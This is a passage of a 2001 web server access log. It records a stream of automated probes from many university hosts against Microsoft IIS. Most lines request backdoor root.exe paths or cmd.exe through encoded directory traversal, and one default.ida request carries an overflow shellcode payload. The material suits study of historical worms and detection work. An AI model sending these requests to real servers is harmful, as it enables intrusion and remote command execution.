  1703. 20010918 09:22:45: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1704. 20010918 09:22:46: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1705. 20010918 09:22:46: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1706. 20010918 09:22:46: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1707. 20010918 09:22:46: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1708. 20010918 09:22:46: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1709. 20010918 09:22:47:  [128.242.227.94] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1710. 20010918 09:28:11:  [128.242.227.94] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1711. 20010918 09:28:29: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1712. 20010918 09:28:29:  [128.242.227.94] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1713. 20010918 09:28:47:  [128.242.227.94] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1714. 20010918 09:29:06: kimon.njit.edu [128.235.192.51] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1715. 20010918 09:31:08: kimon.njit.edu [128.235.192.51] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1716. 20010918 09:31:12: kimon.njit.edu [128.235.192.51] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1717. 20010918 09:31:12: kimon.njit.edu [128.235.192.51] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1718. 20010918 09:31:24: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1719. 20010918 09:31:37: nm-server.jrn.columbia.edu [128.59.96.53] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1720. 20010918 09:31:37: nm-server.jrn.columbia.edu [128.59.96.53] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1721. 20010918 09:31:37: nm-server.jrn.columbia.edu [128.59.96.53] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1722. 20010918 09:31:37: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1723. 20010918 09:31:37: nm-server.jrn.columbia.edu [128.59.96.53] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1724. 20010918 09:31:37: nm-server.jrn.columbia.edu [128.59.96.53] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1725. 20010918 09:31:37: nm-server.jrn.columbia.edu [128.59.96.53] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1726. 20010918 09:31:38: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1727. 20010918 09:31:38: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1728. 20010918 09:31:38: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1729. 20010918 09:31:38: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1730. 20010918 09:31:38: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1731. 20010918 09:31:38: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1732. 20010918 09:31:39: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1733. 20010918 09:31:39: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1734. 20010918 09:31:39: nia3.fsw.utoronto.ca [128.100.173.83] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1735. 20010918 09:32:05: nia3.fsw.utoronto.ca [128.100.173.83] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1736. 20010918 09:32:05: nia3.fsw.utoronto.ca [128.100.173.83] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1737. 20010918 09:32:05: nia3.fsw.utoronto.ca [128.100.173.83] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1738. 20010918 09:32:05: nia3.fsw.utoronto.ca [128.100.173.83] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1739. 20010918 09:32:05: nia3.fsw.utoronto.ca [128.100.173.83] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1740. 20010918 09:32:05: nia3.fsw.utoronto.ca [128.100.173.83] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1741. 20010918 09:32:06: nia3.fsw.utoronto.ca [128.100.173.83] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1742. 20010918 09:32:06: nia3.fsw.utoronto.ca [128.100.173.83] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1743. 20010918 09:32:06: nia3.fsw.utoronto.ca [128.100.173.83] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1744. 20010918 09:32:06: nia3.fsw.utoronto.ca [128.100.173.83] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1745. 20010918 09:32:06: nia3.fsw.utoronto.ca [128.100.173.83] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1746. 20010918 09:32:06: nia3.fsw.utoronto.ca [128.100.173.83] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1747. 20010918 09:32:07: nia3.fsw.utoronto.ca [128.100.173.83] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1748. 20010918 09:32:07: nia3.fsw.utoronto.ca [128.100.173.83] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1749. 20010918 09:32:07: nia3.fsw.utoronto.ca [128.100.173.83] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1750. 20010918 09:32:07: kimon.njit.edu [128.235.192.51] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1751. 20010918 09:32:09: kimon.njit.edu [128.235.192.51] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1752. 20010918 09:32:13: kimon.njit.edu [128.235.192.51] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1753. 20010918 09:32:13: kimon.njit.edu [128.235.192.51] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1754. 20010918 09:32:14: kimon.njit.edu [128.235.192.51] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1755. 20010918 09:32:17: kimon.njit.edu [128.235.192.51] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1756. 20010918 09:32:17:  [128.164.89.7] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1757. 20010918 09:33:23:  [128.164.89.7] ""
  1758. 20010918 09:33:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1759. 20010918 09:35:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1760. 20010918 09:35:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1761. 20010918 09:35:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1762. 20010918 09:35:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1763. 20010918 09:35:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1764. 20010918 09:35:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1765. 20010918 09:35:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1766. 20010918 09:35:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1767. 20010918 09:35:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1768. 20010918 09:35:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1769. 20010918 09:35:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1770. 20010918 09:35:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1771. 20010918 09:35:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1772. 20010918 09:35:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1773. 20010918 09:35:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1774. 20010918 09:35:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1775. 20010918 09:41:06: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1776. 20010918 09:41:06: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1777. 20010918 09:41:07: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1778. 20010918 09:41:07: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1779. 20010918 09:41:07: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1780. 20010918 09:41:07: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1781. 20010918 09:41:07: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1782. 20010918 09:41:07: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1783. 20010918 09:41:07: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1784. 20010918 09:41:08: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1785. 20010918 09:41:08: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1786. 20010918 09:41:08: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1787. 20010918 09:41:08: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1788. 20010918 09:41:08: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1789. 20010918 09:41:09: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1790. 20010918 09:41:09: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1791. 20010918 09:44:33: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1792. 20010918 09:44:33: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1793. 20010918 09:44:33: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1794. 20010918 09:44:33: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1795. 20010918 09:44:33: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1796. 20010918 09:44:33: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1797. 20010918 09:44:34: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1798. 20010918 09:44:34: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1799. 20010918 09:44:34: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1800. 20010918 09:44:34: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1801. 20010918 09:44:34: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1802. 20010918 09:44:35: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1803. 20010918 09:44:35: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1804. 20010918 09:44:35: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1805. 20010918 09:44:35: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1806. 20010918 09:44:35: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1807. 20010918 09:46:09: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1808. 20010918 09:46:17: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1809. 20010918 09:48:04: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1810. 20010918 09:48:08: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1811. 20010918 09:48:09: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1812. 20010918 09:48:12: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1813. 20010918 09:48:15: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1814. 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1815. 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1816. 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1817. 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1818. 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1819. 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1820. 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1821. 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1822. 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1823. 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1824. 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1825. 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1826. 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1827. 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1828. 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1829. 20010918 09:48:49: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1830. 20010918 09:49:13: srcweb.ibr.uga.edu [128.192.63.88] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1831. 20010918 09:49:13: srcweb.ibr.uga.edu [128.192.63.88] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1832. 20010918 09:49:13: srcweb.ibr.uga.edu [128.192.63.88] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1833. 20010918 09:49:13: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1834. 20010918 09:49:14: srcweb.ibr.uga.edu [128.192.63.88] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1835. 20010918 09:49:14: srcweb.ibr.uga.edu [128.192.63.88] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1836. 20010918 09:49:14: srcweb.ibr.uga.edu [128.192.63.88] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1837. 20010918 09:49:14: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1838. 20010918 09:49:14: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1839. 20010918 09:49:14: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1840. 20010918 09:49:14: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1841. 20010918 09:49:15: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1842. 20010918 09:49:15: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1843. 20010918 09:49:15: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1844. 20010918 09:49:15: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1845. 20010918 09:49:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1846. 20010918 09:50:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1847. 20010918 09:50:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1848. 20010918 09:50:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1849. 20010918 09:50:32: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1850. 20010918 09:50:32: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1851. 20010918 09:50:32: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1852. 20010918 09:50:32: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1853. 20010918 09:50:32: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1854. 20010918 09:50:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1855. 20010918 09:50:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1856. 20010918 09:50:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1857. 20010918 09:50:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1858. 20010918 09:50:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1859. 20010918 09:50:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1860. 20010918 09:50:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1861. 20010918 09:50:33: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1862. 20010918 09:52:33: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1863. 20010918 09:52:33: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1864. 20010918 09:52:33: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1865. 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1866. 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1867. 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1868. 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1869. 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1870. 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1871. 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1872. 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1873. 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1874. 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1875. 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1876. 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1877. 20010918 09:52:35: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1878. 20010918 09:54:09: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1879. 20010918 09:54:09: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1880. 20010918 09:54:09: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
